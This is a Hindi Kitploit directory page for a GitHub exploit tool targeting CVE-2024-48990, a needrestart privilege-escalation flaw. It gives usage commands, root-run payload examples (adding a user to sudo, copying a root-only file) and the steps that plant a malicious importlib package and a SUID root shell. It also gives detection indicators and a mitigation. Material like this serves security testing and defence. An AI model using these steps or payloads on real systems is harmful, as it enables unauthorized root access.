Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-48990 — needrestart < 3.8 स्थानीय विशेषाधिकार वृद्धि के माध्यम से PYTHONPATH injection | Kitploit
उपकरण/GitHubGitHub/blueberryp1ll/cve-2024-48990
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubblueberryp1ll/cve-2024-48990

CVE-2024-48990

needrestart < 3.8 स्थानीय विशेषाधिकार वृद्धि के माध्यम से PYTHONPATH injection

रिपॉजिटरी देखें
16 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-48990 — needrestart स्थानीय विशेषाधिकार वृद्धि

Ubuntu/Debian सिस्टम पर needrestart < 3.8 को लक्षित करने वाला स्थानीय विशेषाधिकार वृद्धि शोषण PYTHONPATH इंजेक्शन के माध्यम से।

अवलोकन

needrestart एक उपयोगिता है जो आमतौर पर Ubuntu/Debian सर्वरों पर स्थापित होती है, जो लाइब्रेरी अपग्रेड के बाद जाँचती है कि किन सेवाओं को पुनः आरंभ करने की आवश्यकता है। यह रूट के रूप में चलता है और आमतौर पर apt संचालन के बाद स्वचालित रूप से ट्रिगर होता है या sudo के माध्यम से सीधे लागू किया जाता है।

जब Python प्रक्रियाओं की जाँच करता है, needrestart Python इंटरप्रेटर को प्रक्रिया के पूर्ण वातावरण को /proc/<pid>/environ से विरासत में लेते हुए पुनः लागू करता है — जिसमें PYTHONPATH शामिल है। एक अन-प्रिविलेज्ड स्थानीय उपयोगकर्ता इसका दोहन कर सकता है:

  1. PYTHONPATH को एक ऐसी निर्देशिका पर सेट करना जिसमें एक दुर्भावनापूर्ण importlib पैकेज हो
  2. एक Python प्रक्रिया को चालू रखना ताकि needrestart स्कैन के दौरान उसे उठा ले
  3. needrestart के निष्पादन की प्रतीक्षा करना — यह हमलावर के importlib/__init__.py को रूट के रूप में लोड करता है

प्रभावित संस्करण

पैकेजकमज़ोरस्थिर
needrestart< 3.8>= 3.8

पुष्टि की गई:

  • Ubuntu 22.04 LTS (Jammy) — needrestart 3.5-5ubuntu2.4
  • Ubuntu 24.04 LTS (Noble) — needrestart 3.6-7ubuntu4

उपयोग

root@kitploit:~
chmod +x exploit.sh
./exploit.sh

फिर दूसरे टर्मिनल से needrestart को ट्रिगर करें:

root@kitploit:~
# यदि आपके पास needrestart तक सीधा sudo पहुँच है:
sudo /usr/sbin/needrestart

# या इसे apt के माध्यम से ट्रिगर करें (needrestart apt के बाद के हुक के रूप में चलता है):
sudo apt update && sudo apt install --reinstall coreutils

एक बार needrestart ट्रिगर होने पर, शोषण /var/tmp/.rootshell पर एक SUID शेल बनाता है और आपको स्वचालित रूप से रूट शेल में डाल देता है।

यदि ऑटो-एक्ज़ीक्यूशन काम नहीं करता है, तो शेल को मैन्युअल रूप से लें:

root@kitploit:~
/var/tmp/.rootshell -p

विकल्प

root@kitploit:~
Usage: ./exploit.sh [OPTIONS]

Options:
  -c <command>    रूट के रूप में चलाने के लिए कस्टम शेल कमांड (डिफ़ॉल्ट: suid शेल कॉपी करें)
  -w <seconds>    सेकंड में अधिकतम प्रतीक्षा समय (डिफ़ॉल्ट: 300)
  -t              ट्रिगर मोड: apt के माध्यम से needrestart को ट्रिगर करने का प्रयास करें
  -n              कोई सफाई न करें: शोषण के बाद पेलोड निर्देशिका रखें
  -h              यह सहायता संदेश दिखाएँ

उदाहरण

root@kitploit:~
# डिफ़ॉल्ट — /var/tmp/.rootshell पर SUID /bin/bash कॉपी बनाता है
./exploit.sh

# apt के माध्यम से needrestart को ऑटो-ट्रिगर करें (sudo apt पहुँच आवश्यक)
./exploit.sh -t

# कस्टम पेलोड: वर्तमान उपयोगकर्ता को sudoers में जोड़ें
./exploit.sh -c 'usermod -aG sudo targetuser'

# कस्टम पेलोड: एक प्रतिबंधित फ़ाइल पढ़ें
./exploit.sh -c 'cat /root/flag.txt > /tmp/flag.txt && chmod 644 /tmp/flag.txt'

# विस्तारित प्रतीक्षा (10 मिनट)
./exploit.sh -w 600

यह कैसे काम करता है

root@kitploit:~
┌───────────────────────────────────────────────────────────────┐
│  1. पेलोड के साथ /tmp/.nr_XXXX/importlib/__init__.py बनाता है  │
│     जो os.system() चलाकर /bin/bash को SUID बाइनरी के रूप में  │
│     कॉपी करता है                                             │
├───────────────────────────────────────────────────────────────┤
│  2. एक लंबे समय तक चलने वाली Python प्रक्रिया को जन्म देता है  │
│     जिसके वातावरण में PYTHONPATH=/tmp/.nr_XXXX निर्यात होता है│
├───────────────────────────────────────────────────────────────┤
│  3. needrestart चलता है (sudo या apt हुक के माध्यम से),       │
│     /proc/*/environ को स्कैन करता है, Python प्रक्रिया ढूँढता है│
├───────────────────────────────────────────────────────────────┤
│  4. needrestart python3 को ROOT के रूप में पुनः लागू करता है  │
│     हमलावर के PYTHONPATH को विरासत में लेते हुए → दुर्भावनापूर्ण │
│     importlib लोड करता है                                    │
├───────────────────────────────────────────────────────────────┤
│  5. पेलोड रूट के रूप में निष्पादित होता है: cp /bin/bash +   │
│     chmod 4755 → हमलावर /var/tmp/.rootshell -p चलाता है      │
│     → रूट शेल                                               │
└───────────────────────────────────────────────────────────────┘

टिप्पणियाँ

  • SUID शेल को /tmp/ के बजाय /var/tmp/ में रखा जाता है क्योंकि /tmp सामान्यतः nosuid के साथ माउंट होता है, जो चुपचाप SUID बिट को हटा देता है।
  • दुर्भावनापूर्ण importlib/__init__.py पेलोड निष्पादन के बाद sys.path और sys.modules को साफ करके वास्तविक importlib को पुनर्स्थापित करता है, ताकि needrestart दृश्य रूप से क्रैश न हो।
  • डिकॉय Python प्रक्रिया एक वास्तविक .py फ़ाइल (न कि -c वन-लाइनर) चलाती है, जो needrestart के इंटरप्रेटर स्कैनिंग के साथ बेहतर अनुकूलता के लिए है।

पहचान

इस शोषण के उपयोग के संकेतक:

  • /var/tmp/ या /tmp/ में अप्रत्याशित SUID बाइनरी
  • असामान्य PYTHONPATH मानों के साथ Python प्रक्रियाएँ जो अस्थायी निर्देशिकाओं की ओर इशारा करती हैं
  • /tmp/.nr_* पैटर्न से मेल खाने वाली निर्देशिकाएँ जिनमें importlib/ उप-निर्देशिका होती है

शमन

root@kitploit:~
# needrestart को पैच किए गए संस्करण में अपडेट करें
sudo apt update && sudo apt install needrestart

# या इंटरप्रेटर स्कैनिंग को पूरी तरह से अक्षम करें
echo "\$nrconf{interpscan} = 0;" | sudo tee /etc/needrestart/conf.d/no-interp.conf

संदर्भ

  • CVE-2024-48990
  • Qualys सलाह — needrestart LPE
  • Ubuntu सुरक्षा सूचना USN-7117-1

अस्वीकरण

यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। इसका उपयोग केवल उन सिस्टमों पर करें जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। कंप्यूटर सिस्टमों तक अनधिकृत पहुँच अवैध है। लेखक दुरुपयोग के लिए कोई दायित्व नहीं लेता है।

लाइसेंस

MIT

टूल डाउनलोड करें